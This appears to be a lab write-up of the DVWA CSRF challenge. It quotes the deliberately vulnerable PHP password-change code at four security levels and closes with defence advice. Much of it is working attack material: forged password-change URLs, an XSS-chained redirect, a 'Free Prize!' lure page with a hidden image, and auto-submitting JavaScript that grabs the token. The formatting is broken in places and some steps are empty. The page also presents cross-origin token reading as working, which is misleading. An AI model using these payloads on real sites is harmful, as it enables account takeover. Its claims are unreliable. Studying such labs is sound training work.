Overview
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated. With social engineering (such as sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker’s choosing. A successful CSRF exploit can compromise end user data and operations. If the targeted end user is the administrator account, this can compromise the entire web application. Also known as: XSRF, Session Riding, One-Click AttackObjective
Make the current user change their own password without their knowledge using a CSRF attack.Vulnerability Analysis by Security Level
Low Security
Vulnerability: No CSRF protection whatsoever. Source Code (/vulnerabilities/csrf/source/low.php:3-28):
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
}
```text
**Weakness**:
- No CSRF token validation
- Accepts GET requests for state-changing operations
- No origin/referer validation
**Attack Methodology**:
1. Craft a malicious URL:
2. Social engineering approaches:
- Embed in an image tag: `<img src="http://dvwa.local/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change" />`
- Send as a link in email/chat
- Embed in iframe on attacker-controlled site
3. When victim clicks while authenticated, password changes automatically
### Medium Security
**Mitigation Attempt**: HTTP Referer header checking
**Source Code** (`/vulnerabilities/csrf/source/medium.php:3-35`):
```php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
$html .= "<pre>That request didn't look correct.</pre>";
}
}
- Uses
stripos()to check if server name is anywhere in referer - Referer can be spoofed or omitted
- Vulnerable to reflected XSS attacks on same domain
- Reflected XSS chaining: If any reflected XSS exists on the same domain:
<img src="http://dvwa.local/xss_r/?name=<script>window.location='http://dvwa.local/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change'</script>" />
```text
2. **Filename/Path manipulation**: Host attack page with server name in URL:
3. **Query string manipulation**:
### High Security
**Mitigation Attempt**: Anti-CSRF token implementation
**Source Code** (`/vulnerabilities/csrf/source/high.php:1-69`):
```php
$change = false;
$request_type = "html";
$return_message = "Request Failed";
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
$data = json_decode(file_get_contents('php://input'), true);
$request_type = "json";
if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
array_key_exists("password_new", $data) &&
array_key_exists("password_conf", $data) &&
array_key_exists("Change", $data)) {
$token = $_SERVER['HTTP_USER_TOKEN'];
$pass_new = $data["password_new"];
$pass_conf = $data["password_conf"];
$change = true;
}
} else {
if (array_key_exists("user_token", $_REQUEST) &&
array_key_exists("password_new", $_REQUEST) &&
array_key_exists("password_conf", $_REQUEST) &&
array_key_exists("Change", $_REQUEST)) {
$token = $_REQUEST["user_token"];
$pass_new = $_REQUEST["password_new"];
$pass_conf = $_REQUEST["password_conf"];
$change = true;
}
}
if ($change) {
// Check Anti-CSRF token
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
// Feedback for the user
$return_message = "Password Changed.";
}
else {
// Issue with passwords matching
$return_message = "Passwords did not match.";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
if ($request_type == "json") {
generateSessionToken();
header ("Content-Type: application/json");
print json_encode (array("Message" =>$return_message));
exit;
} else {
$html .= "<pre>" . $return_message . "</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
- Implements CSRF token validation
- Supports both HTML forms and JSON API requests
- Token regenerated after each request
- JavaScript-based token extraction: Since JavaScript runs client-side:
// Fetch the CSRF page to extract token
fetch('http://dvwa.local/vulnerabilities/csrf/')
.then(response => response.text())
.then(html => {
// Parse token from HTML
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
const token = doc.querySelector('input[name="user_token"]').value;
// Execute CSRF attack with valid token
const formData = new FormData();
formData.append('password_new', 'hacked');
formData.append('password_conf', 'hacked');
formData.append('user_token', token);
formData.append('Change', 'Change');
fetch('http://dvwa.local/vulnerabilities/csrf/', {
method: 'POST',
body: formData,
credentials: 'include'
});
});
```http
2. **JSON API bonus challenge**: Send JSON request with token in custom header:
```http
POST /vulnerabilities/csrf/ HTTP/1.1
Host: dvwa.local
Content-Type: application/json
Content-Length: 51
user-token: 026d0caed93471b507ed460ebddbd096
Cookie: PHPSESSID=abc123; security=high
{"password_new":"hacked","password_conf":"hacked","Change":1}
Impossible Security
Proper Defense Implementation Source Code (/vulnerabilities/csrf/source/impossible.php:1-51):
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$current_user = dvwaCurrentUser();
$data->bindParam( ':user', $current_user, PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$current_user = dvwaCurrentUser();
$data->bindParam( ':user', $current_user, PDO::PARAM_STR );
$data->execute();
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
```bash
**Defense Mechanisms**:
1. **Anti-CSRF Token**: Validates session token before processing
2. **Current Password Required**: Attacker cannot know victim's current password
3. **Prepared Statements**: Uses PDO with parameterized queries
4. **Input Sanitization**: Strips slashes and escapes input
5. **Password Verification**: Verifies current password against database before allowing change
**Why It's Secure**:
- Even if attacker obtains CSRF token, they cannot proceed without current password
- Current password acts as second authentication factor
- Attacker has no way to retrieve victim's current password
## Defense Recommendations
### 1. Anti-CSRF Tokens (Essential)
```php
// Generate token
function generateSessionToken() {
if (!isset($_SESSION['session_token'])) {
$_SESSION['session_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['session_token'];
}
// Validate token
function checkToken($userToken, $sessionToken, $redirectPage) {
if ($userToken !== $sessionToken) {
header("Location: " . $redirectPage);
exit;
}
}
2. Re-authentication for Sensitive Operations
// Require current password for password changes
if ($pass_new == $pass_conf && verifyCurrentPassword($pass_curr)) {
changePassword($pass_new);
}
```bash
### 3. SameSite Cookie Attribute
```php
setcookie('PHPSESSID', $sessionId, [
'samesite' => 'Strict',
'secure' => true,
'httponly' => true
]);
4. Use POST for State Changes
Never use GET requests for operations that modify data:if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
http_response_code(405);
die('Method not allowed');
}
```bash
### 5. Additional Headers
```php
// Custom header validation
if (!isset($_SERVER['HTTP_X_REQUESTED_WITH']) ||
$_SERVER['HTTP_X_REQUESTED_WITH'] !== 'XMLHttpRequest') {
// Additional validation for AJAX requests
}
Practical Attack Demonstration
Low Level HTML Attack Page
<!DOCTYPE html>
<html>
<head>
<title>Free Prize!</title>
</head>
<body>
<h1>Congratulations! Click to claim your prize!</h1>
<img src="http://dvwa.local/vulnerabilities/csrf/?password_new=pwned123&password_conf=pwned123&Change=Change"
width="0" height="0" border="0" />
<p>Loading your prize...</p>
</body>
</html>
```bash
### Medium Level Bypass Using XSS
```html
<!-- Hosted on dvwa.local domain via XSS -->
<script>
window.location = '/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change';
</script>
High Level JavaScript Token Stealing
<!DOCTYPE html>
<html>
<body>
<script>
function csrfAttack() {
// Fetch CSRF token
fetch('http://dvwa.local/vulnerabilities/csrf/', {
credentials: 'include'
})
.then(r => r.text())
.then(html => {
const match = html.match(/name='user_token' value='([^']+)'/);
if (match) {
const token = match[1];
// Submit password change with stolen token
const form = document.createElement('form');
form.method = 'POST';
form.action = 'http://dvwa.local/vulnerabilities/csrf/';
['password_new', 'password_conf'].forEach(name => {
const input = document.createElement('input');
input.name = name;
input.value = 'compromised';
form.appendChild(input);
});
const tokenInput = document.createElement('input');
tokenInput.name = 'user_token';
tokenInput.value = token;
form.appendChild(tokenInput);
const submitInput = document.createElement('input');
submitInput.name = 'Change';
submitInput.value = 'Change';
form.appendChild(submitInput);
document.body.appendChild(form);
form.submit();
}
});
}
// Auto-execute on page load
window.onload = csrfAttack;
</script>
</body>
</html>
```bash
## Key Takeaways
1. **Never trust requests**: Always validate the source and intent
2. **Tokens alone aren't enough**: High-level shows JavaScript can steal tokens
3. **Re-authentication wins**: Impossible level requires current password
4. **Defense in depth**: Combine multiple protections (tokens + SameSite cookies + re-auth)
5. **Use POST**: State-changing operations should never use GET
6. **Same-Origin Policy**: CSRF works because browsers automatically send cookies
## References
- [OWASP CSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
- [OWASP CSRF](https://owasp.org/www-community/attacks/csrf)
- [CWE-352: Cross-Site Request Forgery](https://cwe.mitre.org/data/definitions/352.html)
